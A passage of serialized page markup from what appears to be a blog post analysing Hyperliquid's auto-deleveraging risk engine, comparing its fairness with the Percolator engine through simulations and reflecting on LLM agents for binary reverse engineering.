,"props":166643,"children":166645},{"className":166644},[6715,6716],[166646],{"type":21,"tag":153,"props":166647,"children":166649},{"className":166648},[6721],[166650],{"type":21,"tag":153,"props":166651,"children":166653},{"className":166652,"ariaHidden":3294},[6726],[166654,166732],{"type":21,"tag":153,"props":166655,"children":166657},{"className":166656},[6731],[166658,166662,166719,166723,166728],{"type":21,"tag":153,"props":166659,"children":166661},{"className":166660,"style":144623},[6736],[],{"type":21,"tag":153,"props":166663,"children":166665},{"className":166664},[6742],[166666,166671],{"type":21,"tag":153,"props":166667,"children":166669},{"className":166668},[6742,24280],[166670],{"type":26,"value":86642},{"type":21,"tag":153,"props":166672,"children":166674},{"className":166673},[6757],[166675],{"type":21,"tag":153,"props":166676,"children":166678},{"className":166677},[6762,24334],[166679,166708],{"type":21,"tag":153,"props":166680,"children":166682},{"className":166681},[6767],[166683,166703],{"type":21,"tag":153,"props":166684,"children":166686},{"className":166685,"style":95873},[6772],[166687],{"type":21,"tag":153,"props":166688,"children":166689},{"style":95400},[166690,166694],{"type":21,"tag":153,"props":166691,"children":166693},{"className":166692,"style":6782},[6781],[],{"type":21,"tag":153,"props":166695,"children":166697},{"className":166696},[6787,6788,6789,6790],[166698],{"type":21,"tag":153,"props":166699,"children":166701},{"className":166700},[6742,24280,6790],[166702],{"type":26,"value":6471},{"type":21,"tag":153,"props":166704,"children":166706},{"className":166705},[24437],[166707],{"type":26,"value":24440},{"type":21,"tag":153,"props":166709,"children":166711},{"className":166710},[6767],[166712],{"type":21,"tag":153,"props":166713,"children":166715},{"className":166714,"style":95427},[6772],[166716],{"type":21,"tag":153,"props":166717,"children":166718},{},[],{"type":21,"tag":153,"props":166720,"children":166722},{"className":166721,"style":6918},[6820],[],{"type":21,"tag":153,"props":166724,"children":166726},{"className":166725},[6923],[166727],{"type":26,"value":2367},{"type":21,"tag":153,"props":166729,"children":166731},{"className":166730,"style":6918},[6820],[],{"type":21,"tag":153,"props":166733,"children":166735},{"className":166734},[6731],[166736,166740,166797,166802],{"type":21,"tag":153,"props":166737,"children":166739},{"className":166738,"style":6841},[6736],[],{"type":21,"tag":153,"props":166741,"children":166743},{"className":166742},[6742],[166744,166749],{"type":21,"tag":153,"props":166745,"children":166747},{"className":166746},[6742,24280],[166748],{"type":26,"value":21972},{"type":21,"tag":153,"props":166750,"children":166752},{"className":166751},[6757],[166753],{"type":21,"tag":153,"props":166754,"children":166756},{"className":166755},[6762,24334],[166757,166786],{"type":21,"tag":153,"props":166758,"children":166760},{"className":166759},[6767],[166761,166781],{"type":21,"tag":153,"props":166762,"children":166764},{"className":166763,"style":95873},[6772],[166765],{"type":21,"tag":153,"props":166766,"children":166767},{"style":95400},[166768,166772],{"type":21,"tag":153,"props":166769,"children":166771},{"className":166770,"style":6782},[6781],[],{"type":21,"tag":153,"props":166773,"children":166775},{"className":166774},[6787,6788,6789,6790],[166776],{"type":21,"tag":153,"props":166777,"children":166779},{"className":166778},[6742,24280,6790],[166780],{"type":26,"value":6471},{"type":21,"tag":153,"props":166782,"children":166784},{"className":166783},[24437],[166785],{"type":26,"value":24440},{"type":21,"tag":153,"props":166787,"children":166789},{"className":166788},[6767],[166790],{"type":21,"tag":153,"props":166791,"children":166793},{"className":166792,"style":95427},[6772],[166794],{"type":21,"tag":153,"props":166795,"children":166796},{},[],{"type":21,"tag":153,"props":166798,"children":166800},{"className":166799},[6742],[166801],{"type":26,"value":7310},{"type":21,"tag":153,"props":166803,"children":166805},{"className":166804},[6742],[166806,166811],{"type":21,"tag":153,"props":166807,"children":166809},{"className":166808,"style":124624},[6742,24280],[166810],{"type":26,"value":51862},{"type":21,"tag":153,"props":166812,"children":166814},{"className":166813},[6757],[166815],{"type":21,"tag":153,"props":166816,"children":166818},{"className":166817},[6762,24334],[166819,166848],{"type":21,"tag":153,"props":166820,"children":166822},{"className":166821},[6767],[166823,166843],{"type":21,"tag":153,"props":166824,"children":166826},{"className":166825,"style":95873},[6772],[166827],{"type":21,"tag":153,"props":166828,"children":166829},{"style":163572},[166830,166834],{"type":21,"tag":153,"props":166831,"children":166833},{"className":166832,"style":6782},[6781],[],{"type":21,"tag":153,"props":166835,"children":166837},{"className":166836},[6787,6788,6789,6790],[166838],{"type":21,"tag":153,"props":166839,"children":166841},{"className":166840},[6742,24280,6790],[166842],{"type":26,"value":6471},{"type":21,"tag":153,"props":166844,"children":166846},{"className":166845},[24437],[166847],{"type":26,"value":24440},{"type":21,"tag":153,"props":166849,"children":166851},{"className":166850},[6767],[166852],{"type":21,"tag":153,"props":166853,"children":166855},{"className":166854,"style":95427},[6772],[166856],{"type":21,"tag":153,"props":166857,"children":166858},{},[],{"type":26,"value":166860}," for each winner with ",{"type":21,"tag":78,"props":166862,"children":166864},{"className":166863},[6715,6716],[166865],{"type":21,"tag":153,"props":166866,"children":166868},{"className":166867},[6721],[166869],{"type":21,"tag":153,"props":166870,"children":166872},{"className":166871,"ariaHidden":3294},[6726],[166873,166952],{"type":21,"tag":153,"props":166874,"children":166876},{"className":166875},[6731],[166877,166882,166939,166943,166948],{"type":21,"tag":153,"props":166878,"children":166881},{"className":166879,"style":166880},[6736],"height:0.6891em;vertical-align:-0.15em;",[],{"type":21,"tag":153,"props":166883,"children":166885},{"className":166884},[6742],[166886,166891],{"type":21,"tag":153,"props":166887,"children":166889},{"className":166888,"style":124624},[6742,24280],[166890],{"type":26,"value":51862},{"type":21,"tag":153,"props":166892,"children":166894},{"className":166893},[6757],[166895],{"type":21,"tag":153,"props":166896,"children":166898},{"className":166897},[6762,24334],[166899,166928],{"type":21,"tag":153,"props":166900,"children":166902},{"className":166901},[6767],[166903,166923],{"type":21,"tag":153,"props":166904,"children":166906},{"className":166905,"style":95873},[6772],[166907],{"type":21,"tag":153,"props":166908,"children":166909},{"style":163572},[166910,166914],{"type":21,"tag":153,"props":166911,"children":166913},{"className":166912,"style":6782},[6781],[],{"type":21,"tag":153,"props":166915,"children":166917},{"className":166916},[6787,6788,6789,6790],[166918],{"type":21,"tag":153,"props":166919,"children":166921},{"className":166920},[6742,24280,6790],[166922],{"type":26,"value":6471},{"type":21,"tag":153,"props":166924,"children":166926},{"className":166925},[24437],[166927],{"type":26,"value":24440},{"type":21,"tag":153,"props":166929,"children":166931},{"className":166930},[6767],[166932],{"type":21,"tag":153,"props":166933,"children":166935},{"className":166934,"style":95427},[6772],[166936],{"type":21,"tag":153,"props":166937,"children":166938},{},[],{"type":21,"tag":153,"props":166940,"children":166942},{"className":166941,"style":6918},[6820],[],{"type":21,"tag":153,"props":166944,"children":166946},{"className":166945},[6923],[166947],{"type":26,"value":13182},{"type":21,"tag":153,"props":166949,"children":166951},{"className":166950,"style":6918},[6820],[],{"type":21,"tag":153,"props":166953,"children":166955},{"className":166954},[6731],[166956,166960],{"type":21,"tag":153,"props":166957,"children":166959},{"className":166958,"style":96375},[6736],[],{"type":21,"tag":153,"props":166961,"children":166963},{"className":166962},[6742],[166964],{"type":26,"value":2996},{"type":26,"value":166966}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":21,"tag":78,"props":166968,"children":166970},{"className":166969},[6715,6716],[166971],{"type":21,"tag":153,"props":166972,"children":166974},{"className":166973},[6721],[166975],{"type":21,"tag":153,"props":166976,"children":166978},{"className":166977,"ariaHidden":3294},[6726],[166979,167005],{"type":21,"tag":153,"props":166980,"children":166982},{"className":166981},[6731],[166983,166987,166992,166996,167001],{"type":21,"tag":153,"props":166984,"children":166986},{"className":166985,"style":24275},[6736],[],{"type":21,"tag":153,"props":166988,"children":166990},{"className":166989,"style":24281},[6742,24280],[166991],{"type":26,"value":124122},{"type":21,"tag":153,"props":166993,"children":166995},{"className":166994,"style":6918},[6820],[],{"type":21,"tag":153,"props":166997,"children":166999},{"className":166998},[6923],[167000],{"type":26,"value":2367},{"type":21,"tag":153,"props":167002,"children":167004},{"className":167003,"style":6918},[6820],[],{"type":21,"tag":153,"props":167006,"children":167008},{"className":167007},[6731],[167009,167013],{"type":21,"tag":153,"props":167010,"children":167012},{"className":167011,"style":96375},[6736],[],{"type":21,"tag":153,"props":167014,"children":167016},{"className":167015},[6742],[167017],{"type":26,"value":3033},{"type":26,"value":167019}," means everyone loses the same fraction of their PNL. ",{"type":21,"tag":78,"props":167021,"children":167023},{"className":167022},[6715,6716],[167024],{"type":21,"tag":153,"props":167025,"children":167027},{"className":167026},[6721],[167028],{"type":21,"tag":153,"props":167029,"children":167031},{"className":167030,"ariaHidden":3294},[6726],[167032,167059],{"type":21,"tag":153,"props":167033,"children":167035},{"className":167034},[6731],[167036,167040,167045,167049,167055],{"type":21,"tag":153,"props":167037,"children":167039},{"className":167038,"style":24275},[6736],[],{"type":21,"tag":153,"props":167041,"children":167043},{"className":167042,"style":24281},[6742,24280],[167044],{"type":26,"value":124122},{"type":21,"tag":153,"props":167046,"children":167048},{"className":167047,"style":6918},[6820],[],{"type":21,"tag":153,"props":167050,"children":167052},{"className":167051},[6923],[167053],{"type":26,"value":167054},"≈",{"type":21,"tag":153,"props":167056,"children":167058},{"className":167057,"style":6918},[6820],[],{"type":21,"tag":153,"props":167060,"children":167062},{"className":167061},[6731],[167063,167067],{"type":21,"tag":153,"props":167064,"children":167066},{"className":167065,"style":96375},[6736],[],{"type":21,"tag":153,"props":167068,"children":167070},{"className":167069},[6742],[167071],{"type":26,"value":2996},{"type":26,"value":167073}," means a few get wiped while most are untouched.",{"type":21,"tag":91,"props":167075,"children":167076},{},[167077,167081,167082,167240,167242,167336,167338],{"type":21,"tag":5302,"props":167078,"children":167079},{},[167080],{"type":26,"value":163176},{"type":26,"value":35605},{"type":21,"tag":78,"props":167083,"children":167085},{"className":167084},[6715,6716],[167086],{"type":21,"tag":153,"props":167087,"children":167089},{"className":167088},[6721],[167090],{"type":21,"tag":153,"props":167091,"children":167093},{"className":167092,"ariaHidden":3294},[6726],[167094],{"type":21,"tag":153,"props":167095,"children":167097},{"className":167096},[6731],[167098,167103,167178,167183],{"type":21,"tag":153,"props":167099,"children":167102},{"className":167100,"style":167101},[6736],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":21,"tag":153,"props":167104,"children":167106},{"className":167105},[6742],[167107,167112],{"type":21,"tag":153,"props":167108,"children":167110},{"className":167109,"style":97352},[6742,24280],[167111],{"type":26,"value":163901},{"type":21,"tag":153,"props":167113,"children":167115},{"className":167114},[6757],[167116],{"type":21,"tag":153,"props":167117,"children":167119},{"className":167118},[6762,24334],[167120,167166],{"type":21,"tag":153,"props":167121,"children":167123},{"className":167122},[6767],[167124,167161],{"type":21,"tag":153,"props":167125,"children":167127},{"className":167126,"style":111061},[6772],[167128,167145],{"type":21,"tag":153,"props":167129,"children":167131},{"style":167130},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[167132,167136],{"type":21,"tag":153,"props":167133,"children":167135},{"className":167134,"style":6782},[6781],[],{"type":21,"tag":153,"props":167137,"children":167139},{"className":167138},[6787,6788,6789,6790],[167140],{"type":21,"tag":153,"props":167141,"children":167143},{"className":167142,"style":24281},[6742,24280,6790],[167144],{"type":26,"value":8717},{"type":21,"tag":153,"props":167146,"children":167147},{"style":6776},[167148,167152],{"type":21,"tag":153,"props":167149,"children":167151},{"className":167150,"style":6782},[6781],[],{"type":21,"tag":153,"props":167153,"children":167155},{"className":167154},[6787,6788,6789,6790],[167156],{"type":21,"tag":153,"props":167157,"children":167159},{"className":167158,"style":95830},[6742,24280,6790],[167160],{"type":26,"value":163415},{"type":21,"tag":153,"props":167162,"children":167164},{"className":167163},[24437],[167165],{"type":26,"value":24440},{"type":21,"tag":153,"props":167167,"children":167169},{"className":167168},[6767],[167170],{"type":21,"tag":153,"props":167171,"children":167174},{"className":167172,"style":167173},[6772],"height:0.2753em;",[167175],{"type":21,"tag":153,"props":167176,"children":167177},{},[],{"type":21,"tag":153,"props":167179,"children":167181},{"className":167180},[6742],[167182],{"type":26,"value":7310},{"type":21,"tag":153,"props":167184,"children":167186},{"className":167185},[6742],[167187,167192],{"type":21,"tag":153,"props":167188,"children":167190},{"className":167189,"style":97352},[6742,24280],[167191],{"type":26,"value":163901},{"type":21,"tag":153,"props":167193,"children":167195},{"className":167194},[6757],[167196],{"type":21,"tag":153,"props":167197,"children":167199},{"className":167198},[6762,24334],[167200,167229],{"type":21,"tag":153,"props":167201,"children":167203},{"className":167202},[6767],[167204,167224],{"type":21,"tag":153,"props":167205,"children":167207},{"className":167206,"style":144899},[6772],[167208],{"type":21,"tag":153,"props":167209,"children":167210},{"style":163920},[167211,167215],{"type":21,"tag":153,"props":167212,"children":167214},{"className":167213,"style":6782},[6781],[],{"type":21,"tag":153,"props":167216,"children":167218},{"className":167217},[6787,6788,6789,6790],[167219],{"type":21,"tag":153,"props":167220,"children":167222},{"className":167221,"style":24281},[6742,24280,6790],[167223],{"type":26,"value":8717},{"type":21,"tag":153,"props":167225,"children":167227},{"className":167226},[24437],[167228],{"type":26,"value":24440},{"type":21,"tag":153,"props":167230,"children":167232},{"className":167231},[6767],[167233],{"type":21,"tag":153,"props":167234,"children":167236},{"className":167235,"style":95427},[6772],[167237],{"type":21,"tag":153,"props":167238,"children":167239},{},[],{"type":26,"value":167241}," — ",{"type":21,"tag":78,"props":167243,"children":167245},{"className":167244},[6715,6716],[167246],{"type":21,"tag":153,"props":167247,"children":167249},{"className":167248},[6721],[167250],{"type":21,"tag":153,"props":167251,"children":167253},{"className":167252,"ariaHidden":3294},[6726],[167254],{"type":21,"tag":153,"props":167255,"children":167257},{"className":167256},[6731],[167258,167263],{"type":21,"tag":153,"props":167259,"children":167262},{"className":167260,"style":167261},[6736],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":21,"tag":153,"props":167264,"children":167266},{"className":167265},[6742],[167267,167272],{"type":21,"tag":153,"props":167268,"children":167270},{"className":167269,"style":97352},[6742,24280],[167271],{"type":26,"value":163901},{"type":21,"tag":153,"props":167273,"children":167275},{"className":167274},[6757],[167276],{"type":21,"tag":153,"props":167277,"children":167279},{"className":167278},[6762,24334],[167280,167325],{"type":21,"tag":153,"props":167281,"children":167283},{"className":167282},[6767],[167284,167320],{"type":21,"tag":153,"props":167285,"children":167287},{"className":167286,"style":111061},[6772],[167288,167304],{"type":21,"tag":153,"props":167289,"children":167290},{"style":167130},[167291,167295],{"type":21,"tag":153,"props":167292,"children":167294},{"className":167293,"style":6782},[6781],[],{"type":21,"tag":153,"props":167296,"children":167298},{"className":167297},[6787,6788,6789,6790],[167299],{"type":21,"tag":153,"props":167300,"children":167302},{"className":167301,"style":24281},[6742,24280,6790],[167303],{"type":26,"value":8717},{"type":21,"tag":153,"props":167305,"children":167306},{"style":6776},[167307,167311],{"type":21,"tag":153,"props":167308,"children":167310},{"className":167309,"style":6782},[6781],[],{"type":21,"tag":153,"props":167312,"children":167314},{"className":167313},[6787,6788,6789,6790],[167315],{"type":21,"tag":153,"props":167316,"children":167318},{"className":167317,"style":95830},[6742,24280,6790],[167319],{"type":26,"value":163415},{"type":21,"tag":153,"props":167321,"children":167323},{"className":167322},[24437],[167324],{"type":26,"value":24440},{"type":21,"tag":153,"props":167326,"children":167328},{"className":167327},[6767],[167329],{"type":21,"tag":153,"props":167330,"children":167332},{"className":167331,"style":167173},[6772],[167333],{"type":21,"tag":153,"props":167334,"children":167335},{},[],{"type":26,"value":167337}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":21,"tag":78,"props":167339,"children":167341},{"className":167340},[6715,6716],[167342],{"type":21,"tag":153,"props":167343,"children":167345},{"className":167344},[6721],[167346],{"type":21,"tag":153,"props":167347,"children":167349},{"className":167348,"ariaHidden":3294},[6726],[167350],{"type":21,"tag":153,"props":167351,"children":167353},{"className":167352},[6731],[167354,167358],{"type":21,"tag":153,"props":167355,"children":167357},{"className":167356,"style":113185},[6736],[],{"type":21,"tag":153,"props":167359,"children":167361},{"className":167360,"style":95830},[6742,24280],[167362],{"type":26,"value":163415},{"type":21,"tag":22,"props":167364,"children":167365},{},[167366],{"type":26,"value":167367},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":21,"tag":167369,"props":167370,"children":167372},"git-hub-repo-link",{"url":167371},"https://github.com/aeyakovenko/percolator",[],{"type":21,"tag":22,"props":167374,"children":167375},{},[167376,167378,167383],{"type":26,"value":167377},"Given a fixed ",{"type":21,"tag":5302,"props":167379,"children":167380},{},[167381],{"type":26,"value":167382},"a priori",{"type":26,"value":167384}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":21,"tag":22,"props":167386,"children":167387},{},[167388,167390,167395,167397,167474],{"type":26,"value":167389},"One prediction that we can make is that Percolator is ",{"type":21,"tag":5302,"props":167391,"children":167392},{},[167393],{"type":26,"value":167394},"perfectly fair",{"type":26,"value":167396}," according to this scoring: the ",{"type":21,"tag":78,"props":167398,"children":167400},{"className":167399},[6715,6716],[167401],{"type":21,"tag":153,"props":167402,"children":167404},{"className":167403},[6721],[167405],{"type":21,"tag":153,"props":167406,"children":167408},{"className":167407,"ariaHidden":3294},[6726],[167409],{"type":21,"tag":153,"props":167410,"children":167412},{"className":167411},[6731],[167413,167417],{"type":21,"tag":153,"props":167414,"children":167416},{"className":167415,"style":144623},[6736],[],{"type":21,"tag":153,"props":167418,"children":167420},{"className":167419},[6742],[167421,167426],{"type":21,"tag":153,"props":167422,"children":167424},{"className":167423},[6742,24280],[167425],{"type":26,"value":86642},{"type":21,"tag":153,"props":167427,"children":167429},{"className":167428},[6757],[167430],{"type":21,"tag":153,"props":167431,"children":167433},{"className":167432},[6762,24334],[167434,167463],{"type":21,"tag":153,"props":167435,"children":167437},{"className":167436},[6767],[167438,167458],{"type":21,"tag":153,"props":167439,"children":167441},{"className":167440,"style":95873},[6772],[167442],{"type":21,"tag":153,"props":167443,"children":167444},{"style":95400},[167445,167449],{"type":21,"tag":153,"props":167446,"children":167448},{"className":167447,"style":6782},[6781],[],{"type":21,"tag":153,"props":167450,"children":167452},{"className":167451},[6787,6788,6789,6790],[167453],{"type":21,"tag":153,"props":167454,"children":167456},{"className":167455},[6742,24280,6790],[167457],{"type":26,"value":6471},{"type":21,"tag":153,"props":167459,"children":167461},{"className":167460},[24437],[167462],{"type":26,"value":24440},{"type":21,"tag":153,"props":167464,"children":167466},{"className":167465},[6767],[167467],{"type":21,"tag":153,"props":167468,"children":167470},{"className":167469,"style":95427},[6772],[167471],{"type":21,"tag":153,"props":167472,"children":167473},{},[],{"type":26,"value":167475}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":21,"tag":22,"props":167477,"children":167478},{},[167479,167481,167486],{"type":26,"value":167480},"We are ignoring the ",{"type":21,"tag":5302,"props":167482,"children":167483},{},[167484],{"type":26,"value":167485},"a posteriori",{"type":26,"value":167487}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":21,"tag":22,"props":167489,"children":167490},{},[167491],{"type":26,"value":167492},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":21,"tag":66,"props":167494,"children":167496},{"id":167495},"simulations",[167497],{"type":26,"value":167498},"Simulations",{"type":21,"tag":22,"props":167500,"children":167501},{},[167502],{"type":26,"value":167503},"Let's consider the following price scenarios, as we said:",{"type":21,"tag":22,"props":167505,"children":167506},{},[167507],{"type":21,"tag":3644,"props":167508,"children":167511},{"alt":167509,"src":167510},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":21,"tag":22,"props":167513,"children":167514},{},[167515],{"type":26,"value":167516},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":21,"tag":22,"props":167518,"children":167519},{},[167520],{"type":21,"tag":3644,"props":167521,"children":167524},{"alt":167522,"src":167523},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":21,"tag":114,"props":167526,"children":167528},{"id":167527},"percolator-is-more-optimistic",[167529],{"type":26,"value":167530},"Percolator Is More \"Optimistic\"",{"type":21,"tag":22,"props":167532,"children":167533},{},[167534,167536,167541,167543,167548,167550,167556,167558,167563],{"type":26,"value":167535},"The key difference is what happens to positions. ADL ",{"type":21,"tag":5302,"props":167537,"children":167538},{},[167539],{"type":26,"value":167540},"permanently closes",{"type":26,"value":167542}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":21,"tag":5302,"props":167544,"children":167545},{},[167546],{"type":26,"value":167547},"withdraw",{"type":26,"value":167549},", but the position stays open. If conditions improve, ",{"type":21,"tag":78,"props":167551,"children":167553},{"className":167552},[],[167554],{"type":26,"value":167555},"Residual",{"type":26,"value":167557}," goes up, ",{"type":21,"tag":78,"props":167559,"children":167561},{"className":167560},[],[167562],{"type":26,"value":86642},{"type":26,"value":167564}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":21,"tag":22,"props":167566,"children":167567},{},[167568,167570,167574],{"type":26,"value":167569},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":21,"tag":5302,"props":167571,"children":167572},{},[167573],{"type":26,"value":22883},{"type":26,"value":167575}," per position, though the tradeoff is that fewer traders get to participate.",{"type":21,"tag":22,"props":167577,"children":167578},{},[167579],{"type":21,"tag":3644,"props":167580,"children":167583},{"alt":167581,"src":167582},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":21,"tag":66,"props":167585,"children":167587},{"id":167586},"some-points-to-be-made",[167588],{"type":26,"value":167589},"Some Points to Be Made",{"type":21,"tag":114,"props":167591,"children":167593},{"id":167592},"percolator-is-indifferent-to-leverage",[167594],{"type":26,"value":167595},"Percolator Is Indifferent to Leverage",{"type":21,"tag":22,"props":167597,"children":167598},{},[167599],{"type":26,"value":167600},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":21,"tag":22,"props":167602,"children":167603},{},[167604],{"type":21,"tag":3644,"props":167605,"children":167608},{"alt":167606,"src":167607},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":21,"tag":114,"props":167610,"children":167612},{"id":167611},"fairness",[167613],{"type":26,"value":163166},{"type":21,"tag":22,"props":167615,"children":167616},{},[167617],{"type":26,"value":167618},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":21,"tag":22,"props":167620,"children":167621},{},[167622],{"type":21,"tag":3644,"props":167623,"children":167626},{"alt":167624,"src":167625},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":21,"tag":22,"props":167628,"children":167629},{},[167630,167632,167637],{"type":26,"value":167631},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":21,"tag":78,"props":167633,"children":167635},{"className":167634},[],[167636],{"type":26,"value":161668},{"type":26,"value":167638}," we start by fully closing the worst position against the best-performing trader.",{"type":21,"tag":66,"props":167640,"children":167642},{"id":167641},"strengths-and-limitations-of-agents-for-reverse-engineering",[167643],{"type":26,"value":167644},"Strengths and Limitations of Agents for Reverse Engineering",{"type":21,"tag":22,"props":167646,"children":167647},{},[167648],{"type":26,"value":167649},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":21,"tag":114,"props":167651,"children":167653},{"id":167652},"hooks",[167654],{"type":26,"value":167655},"Hooks",{"type":21,"tag":22,"props":167657,"children":167658},{},[167659,167661,167665],{"type":26,"value":167660},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":21,"tag":5302,"props":167662,"children":167663},{},[167664],{"type":26,"value":167652},{"type":26,"value":167666},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":21,"tag":22,"props":167668,"children":167669},{},[167670],{"type":26,"value":167671},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":21,"tag":114,"props":167673,"children":167675},{"id":167674},"scale",[167676],{"type":26,"value":167677},"Scale",{"type":21,"tag":22,"props":167679,"children":167680},{},[167681],{"type":26,"value":167682},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":21,"tag":22,"props":167684,"children":167685},{},[167686],{"type":26,"value":167687},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":21,"tag":114,"props":167689,"children":167691},{"id":167690},"whats-next",[167692],{"type":26,"value":167693},"What's next?",{"type":21,"tag":22,"props":167695,"children":167696},{},[167697],{"type":26,"value":167698},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":21,"tag":167369,"props":167700,"children":167701},{"url":161329},[],{"type":21,"tag":22,"props":167703,"children":167704},{},[167705],{"type":26,"value":167706},"The analyzed binary can be found here:",{"type":21,"tag":161649,"props":167708,"children":167711},{"path":167709,"name":161253,"size":167710},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":21,"tag":114,"props":167713,"children":167715},{"id":167714},"closing-words",[167716],{"type":26,"value":167717},"Closing Words",{"type":21,"tag":22,"props":167719,"children":167720},{},[167721],{"type":26,"value":167722},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":21,"tag":22,"props":167724,"children":167725},{},[167726,167728,167733],{"type":26,"value":167727},"Flagship models got us 60% of the way there, but a lot of ",{"type":21,"tag":5302,"props":167729,"children":167730},{},[167731],{"type":26,"value":167732},"manual",{"type":26,"value":167734}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":21,"tag":22,"props":167736,"children":167737},{},[167738],{"type":26,"value":167739},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":21,"tag":22,"props":167741,"children":167742},{},[167743],{"type":26,"value":167744},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":21,"tag":167746,"props":167747,"children":167748},"report-footnotes",{},[167749],{"type":21,"tag":126,"props":167750,"children":167751},{},[167752,167757,167784,167789,167794],{"type":21,"tag":91,"props":167753,"children":167754},{},[167755],{"type":26,"value":167756},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":21,"tag":91,"props":167758,"children":167759},{},[167760,167766,167768,167774,167776,167782],{"type":21,"tag":78,"props":167761,"children":167763},{"className":167762},[],[167764],{"type":26,"value":167765},"compute_user_margin_and_shortfall",{"type":26,"value":167767}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":21,"tag":78,"props":167769,"children":167771},{"className":167770},[],[167772],{"type":26,"value":167773},"0x748",{"type":26,"value":167775}," in the abstract expressions of ",{"type":21,"tag":78,"props":167777,"children":167779},{"className":167778},[],[167780],{"type":26,"value":167781},"btree_cursor",{"type":26,"value":167783},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":21,"tag":91,"props":167785,"children":167786},{},[167787],{"type":26,"value":167788},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":21,"tag":91,"props":167790,"children":167791},{},[167792],{"type":26,"value":167793},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":21,"tag":91,"props":167795,"children":167796},{},[167797,167799,167805],{"type":26,"value":167798},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: 